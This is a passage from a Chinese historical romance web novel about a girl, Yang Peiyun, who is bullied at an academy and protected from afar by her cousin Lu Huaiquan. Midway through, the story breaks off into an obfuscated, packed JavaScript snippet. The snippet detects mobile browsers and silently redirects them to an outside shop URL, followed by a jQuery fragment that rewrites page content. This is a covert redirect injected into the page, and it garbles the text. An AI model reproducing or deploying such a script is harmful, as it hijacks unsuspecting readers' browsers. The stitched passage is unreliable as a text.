她心里都知道的,陆怀泉为了能守承诺按时回府,再抽出时间教导自己,他将自己的时间一缩再缩,就连中间缓神放松的时间都去了。 一想到他这般疲累,到最终成果却犹如石沉大海,杨沛云便止不住为他心疼。 就算骂死自己,厌弃自己,怎么样都好,她有些破罐破摔地想,总之不要再把时间和精力浪费在她这里了。 她……她一点也不值得! 还未等她接着说话,陆怀泉指腹用力按在她脸上,一阵刺痛让她轻蹙眉头。 “我还没来得及问你,”他的声音忽然平淡下来,“你这几日在学院如何?” 杨沛云心头怦怦直跳:“什,什么意思?” 陆怀泉捻了捻她脸上厚腻的脂粉,隐隐窥见不协调的颜色,他却什么都没说,只是默默松了手:“别想偷懒,继续写。” 明明是自己提出的暂停要求,但听到陆怀泉没有同意后,她却也是松了一口气。 夜幕降临,结束的时候,陆怀泉正准备离开,却被杨沛云喊住。 “长兄。” 陆怀泉回身,见小姑娘站在亭下,夜风带起她发间的缎带,藤萝阴影遮蔽住那双明亮的眼睛,让他看不真切。 “如果沛云犯了错,长兄会原谅我吗?” 声音低迷,像在风中散成丝丝缕缕的冷雾,用颓靡与不安的情绪将陆怀泉包围。 他有些被杨沛云突兀显露的情愫惊到,一时怔在了原地没有接话。 没一会儿,杨沛云上前走了两步,方才的那些糟糕情绪像被她留在了阴影中,重又恢复了正常,冲着陆怀泉莞尔一笑:“开玩笑的,长兄,晚安。” 说罢,便进门去了。 徒留陆怀泉一人站在原地,缓慢地皱起眉心。 * 深夜,陆怀泉处理着白日堆积的文书。 这几日因辅导杨沛云,使他本就不多的睡眠时间大幅缩水,不过再忙再累的情况他也经历过,所以并没有多少疲倦的意思。 青叶回来时,他手上动作不停:“查清楚了?” “是,城南刘家的姑娘这几日一直在针对杨姑娘,抢了她的文章才使得姑娘每日都被先生留堂重写。” 陆怀泉停下手中的笔,眉眼深深冷意:“光禄寺署正那个刘家?” “是。” “区区一个署正家的人,不会敢与侯府作对,”陆怀泉捏了捏鼻梁,“说罢,指使之人是谁。” 青叶顿了顿,才小声汇报:“是,是林琼芳林表姑娘……” 陆怀泉早便隐隐有了猜测,闻言轻笑一声。 “还是不记打啊。” 他静默了一会,无边的郁气与怒火无处发泄,他难耐地皱眉,冷声:“陆忻川那蠢货这几日都死哪去了?” 青叶面无表情道:“前几日被公子您威、哦不激励过后,这些日子二公子发愤读书,据二房的人说连饭时常都赶不上吃,表姑娘那边只刚开学那日问了情况,后续就没再关注了。” 他看着自家公子愈发难看的神色,不免在心底埋怨,现在知道着急了,当初将二公子从表姑娘身边赶走时,不是十分自信能料理好她一切事宜吗。 但终归还是要为主子着想,毕竟陆怀泉的表情一点点变得阴鸷危险了起来,青叶欲言又止:“刘家那边需要属下去解决吗?” 陆怀泉一手支着脸,一手在桌上随意地敲着。 他想到方才,杨沛云情绪糟糕,下意思向自己问询,讨要安全感的模样。 “先不管,”他声音清浅,“看看她什么时候会先开口。” 率先开口……朝自己求救。 20. 20 一想到方才指尖轻捻的厚重脂粉下,隐约可见的青紫模样。 陆怀泉的心口便止不住地涌出暴戾的情愫。 她的小脸那般白嫩柔软,握在掌心时如同无价珍贵的羊脂白玉,如今磕碰出的那些个伤痕,扎眼至极。 在外头受了欺负,挨了伤,还不回家找靠山诉苦,让他出手解决,连这么简单的小事难道都不会? 陆怀泉兀自懒散地想了片刻,抬眼见青叶仍站在原地,皱眉:“汇报完了就下去。” “还有一件事……”青叶犹豫,“方才去林家打探,还听闻林家大爷因前不久您在街上与二公子对峙的事,震怒之下,将二公子胳膊打断了。” 他小心地问:“这几日,要不要看着那边?” 林自礼可不是个吃闷亏的主,他比林琼芳狡诈,阴点子一堆,若是也因为这事记恨上杨沛云…… 陆怀泉闻言没什么反应,毕竟林自礼被打,本就是他暗中的授意。 “不用,林家那边不必管。” 他半垂着眼睑,漫不经心地想,若林自礼真的敢动这样的心思,教训可不单单只是断只胳膊那么简单了。 林家。 周氏因丈夫这段时日流连侧室,愈发对那日侯府之事心怀不满。 刚听闻了大房那边的事,便又跑来同自己女儿诉苦。 “你说那小蛮子究竟是给陆家人下什么迷魂药了?” 周氏满含怨愤道:“她若是陆玮女儿,侯爷反常便也罢了,你表哥那样端正之人,居然也折在她身上了。” “听说你二哥只是在街上撩拨了两下那小蛮子,胳膊都被他爹打断了!” 林家如今兄弟二人分为两房,大房生有二子,年纪都同陆怀泉相差不多,故而平日里同他走的近些。 大公子林自禅差事都是陆怀泉安排的,林自礼还未科考,有这个表哥在,将来也不会差到哪儿。 二房只一个林琼芳,和一个没两岁的奶孩子林自祈,也正因此,大房处处压他们一头。 周氏咋舌:“之前自礼也不是没干过荒唐事,你大伯他们哪次真动过手,怎么这次就……肯定又是你表哥的授意!” 一直安静听着的林琼芳心烦意乱:“怎么就不能是伯父实在看不下去了?” “我的儿,断了只胳膊!你可知是什么概念!”周氏差点跳起来,“徐氏那厮,眼睛都快哭瞎了,只怕这回要养上好几月呢!” 妯娌两素来不合,经此一事,周氏心中虽痛快,但一想到背后又是陆怀泉在替杨沛云出气,又不免奇怪:“你表哥对她,究竟是个什么意思?” 反正没一个人会信,他是真切爱护杨沛云的。 开玩笑,陆怀泉是什么人,被天子看重爱戴,扬名汴京的宣平侯长公子,就是想嫁给他的郡县公主也数不胜数。 但凡他是个有风月之心,哪里需要他自个苦读诗书,这样艰苦地撑起侯府。 但林琼芳就是不信,她不免嫉恨地想,凭什么呢? 她自年幼对表哥一见倾心之后,时常借着姑姑的由头去侯府作客,这么多年来,她与陆怀泉也不过只到相熟的地步。 如若他真的能为相识不过一月的杨沛云出气撑腰,那自己呢? 林琼芳眼含泪花,自己多年来的接近试探,又算什么? * 今日的刘渝不知怎的,下手格外的狠。 杨沛云被她们按在地上,一动不动,动作间,腰上佩戴的东西闪了一下。 “咦、”一旁的女生上前抢了来,“这不是刘渝你之前一直想要的平安结吗?” 倏地,杨沛云睁开眼,见她们手中拿着的,果真就是自己戴着的平安结。 之前为侯府中人都做了一个,她自己存了点别样的小心思,给自己和巧安也赶了一个。 赶出来的不如送给表兄他们那样的针脚好,不过也是杨沛云自己花了心思做的。 她的这一枚,用了淡粉的丝线,穗子是淡黄的,粉粉嫩嫩,几个小女生一看便都喜欢。 正相互看着,本沉默的杨沛云倏地猛烈挣扎了起来:“还给我!” 她与这几日平淡的反应截然不同,眼睛都气红了,不住地在地上扭动,却也推不开桎梏住自己的多双手。 刘渝见状,挑了挑眉,将平安结挑在指尖,在她眼前摇摇晃晃:“原来你也是有反应的啊?” 小巧的平安结在自己眼前摆动,杨沛云急得脸都涨红,那是自己亲手做的,一针一线缝出来的。 更重要的是,那是陆家人都有的,小小的一枚东西,自己戴在腰间,好像自己也就能成为一份子。 卑劣的,阴暗的,被杨沛云藏在心底角落的心思,如今被展示在众人眼前,摇晃的影子好像裂变成嗤笑的影子,在嘲弄她渺小的不知所谓。 刘渝存心要与她过不去,手腕反转,那轻飘飘的,并不值钱的小东西,便悠悠荡荡地落进了水中。 如同过去几日自己写下的文章一般,消失的无影无踪。 杨沛云一瞬间怔住了。 她眼睁睁看着小小的一团东西抛出并不圆满的弧线,一切都像放了慢动作一般,最终在她脑中消弭,炸出一片尖锐的耳鸣。 临川冬日的风好似又呼啸在她耳畔,身上那些陈年的旧伤也开始痛痒,眼前记忆一幕幕回闪。 形象模糊的母亲,记忆淡去的父亲,还有两个姐姐同继母尖利的叫骂。 林林总总,最后定格在将平安结送出去的,那个温柔的夜晚。 陆怀泉笑着说:“辛苦你了,沛沛。” 她很喜欢他这样喊自己,杨沛云这时才恍然明白,因为声音在风中变得清淡,那二字就会变得像…… 像陆怀泉,温柔地在喊自己妹妹。 她忽然什么也感受不到了,也什么都不在乎了,脑中,眼中,只剩下恢复平静的湖面。 杨沛云倏地起身,一瞬的爆发力让两个女生都没压住,她一心奔着湖面而去,甚至都没有意识到自己撞到了刘渝,并连带着她一起落入了湖水之中。 “呀——!” “抓住她!快抓住她!” “快去喊夫子!杨沛云她发疯了!要杀了刘渝!” 其实书院中的湖一点也不深,只堪堪到杨沛云膝弯,但被冲撞下来的刘渝喝了好几口污浊的泥水,等在湖中坐起时,愣了会才反应过来发生了什么,厉声尖叫:“杨沛云!我要杀了你!” 杨沛云听不见她的声音,不如说什么声音她都听不见,她的脑子只剩下最重要的一件事。 找到平安结。 陈创同山长赶到时,两个小姑娘已经被女先生捞了上来,宽大的布帛将二人裹得严严实实,一个正张牙舞爪地要冲上去,被几个人拦着。 还有一个……杨沛云还在怔愣地望着湖水,两眼失神,不知在想些什么。 “先生!山长!”刘渝见他们来,率先哭喊道,“这个疯子把我推到湖里了!我差点就被她杀了!” 陈创见又是杨沛云,他狠狠闭了闭眼,厉声开口:“杨沛云!你究竟想干什么?!” 杨沛云听闻发怒的声音,她懵懂抬头,茫然道:“学生…什么也没做,我……” “你什么都没做,那这么久不交课业的人是谁?如今在这欺负同窗的又是谁?” 陈创的逼问声声皆厉:“你若是无辜,你就老老实实告诉我!为什么要这样!” 为什么? 杨沛云垂下眼睫,又开始长久的沉默。 她要如何说呢?她想,是刘渝整日带头欺凌她,每日都要撕毁她的文章吗? 她甚至能在心中模拟出陈创的反问,那刘渝为什么要这么做,你们之间有什么仇怨? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12655937|131504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么不欺负别人?只欺负你呢? 这些问题,杨沛云通通不知,甚至连她也在茫然,自己究竟哪里惹到了刘渝。 不知道该如何回答的问题,那么从一开始就不会作答。 于是她只是缓慢地摇了摇头:“我……” “孩子。” 山长魏寿声音慈祥地打断了她:“你可知,咱们华阳书院的院训是什么?” 一瞬间,杨沛云睁大了眼睛,望向年迈的魏山长。 她明白,故而声音更加沙哑:“学生知道。” 立身以至诚为本,读书以明理为先。 这句话,林若浮也同她说过,侯府送自己来书院读书,并不是为了想要自己成为多么优秀之人,她只需能够做到书院所要求的这样,成为一个至诚明理之人。 明辨善恶,坚守本心。 魏寿看出她清楚自己的意思,于是又问了一遍:“所以,究竟发生了什么?” 杨沛云感到十分难堪,不是为被别人欺凌的自己,而是为连辩解一句都不敢的自己。 她从始至终都是一个胆小鬼。 在临川的那些记忆与过往已经成为了她生命的底色,悲凉地篆刻进她的精神与肉-身,她没办法成为舅母及表兄期待的样子。 胆小,怯懦,软弱。 因为没有办法承受预计会发生的后果,所以她从一开始就会选择逃避,不去面对。 就如同此次,万一被陈创知道了原委,通知了侯府,舅母表哥会不会嫌自己惹事,会不会觉得自己麻烦,会不会彻底厌弃自己。 所以她甘愿什么都不说,只要不被侯府知道,什么惩罚她都甘之若饴。 即便是……对师长说谎。 破罐破摔地闭上眼,好像不去看到,就不会被伤害:“没有,没有……” 杨沛云为自己的卑劣而不耻,更为自己的谎话无地自容。 魏寿看人很准,明白眼前这个眉眼温和的孩子必定是受到了什么委屈,但她不配合,自己也没有办法。 于是他摇头叹气:“去训诫堂跪着,好好反省吧。” 华阳书院的训诫堂,森冷黝黑,里头没有烛火,满是书院供奉的圣贤画像,在微弱光亮下显得阴森可怖,何况里头没有软垫蒲团,这些身娇肉贵的公子姑娘们往冷硬的地上一跪,不稍一刻钟便能吓得浑身冷汗。 杨沛云没有听说过,闻言也没有任何异议,进到屋中后,身后大门沉重地关上,带走仅有的光亮。 一片漆黑下,她端正跪在中央,静得只能听到自己的呼吸声。 杨沛云不怕黑,更不怕跪,旁人严重可怖的训诫堂,对她而言不算什么惩罚。 只是…… 忍了许久,在空无一人的此刻,眼泪终于克制不住地滚落,发出阵阵低泣之声。 她还在为那枚平安结的遗落和自己的谎言而伤心。 一上午很快过去,临近散学的时候,几个同窗在边上聊天。 “听闻今日一早有个女学生被罚去了训诫堂。” “真的假的?那鬼地方,我都受不住,姑娘家去了还不得吓哭了?是谁家姑娘?” “好像,好像是陆家的,咦,忻川,你认不认识?” 这几日因兄长的敲打一直在埋头死读书的陆忻川茫然抬头:“什么?” “那个被罚的学生,好像叫什么,什么沛云,你认不认识?” 陆忻川神色一顿,还未等他反应过来,又是一阵哗然躁动。 “忻川!忻川!” 有好多人杂乱地在喊他,带着抑制不住的激动与澎湃朝他而来:“是宣平侯的马车!是不是你大哥!” “就是那位风华无双的陆长公子的车!我绝不会认错!” 陆忻川精神一震,那位整日上值回府两点一线的陆怀泉,竟然这时候来书院了!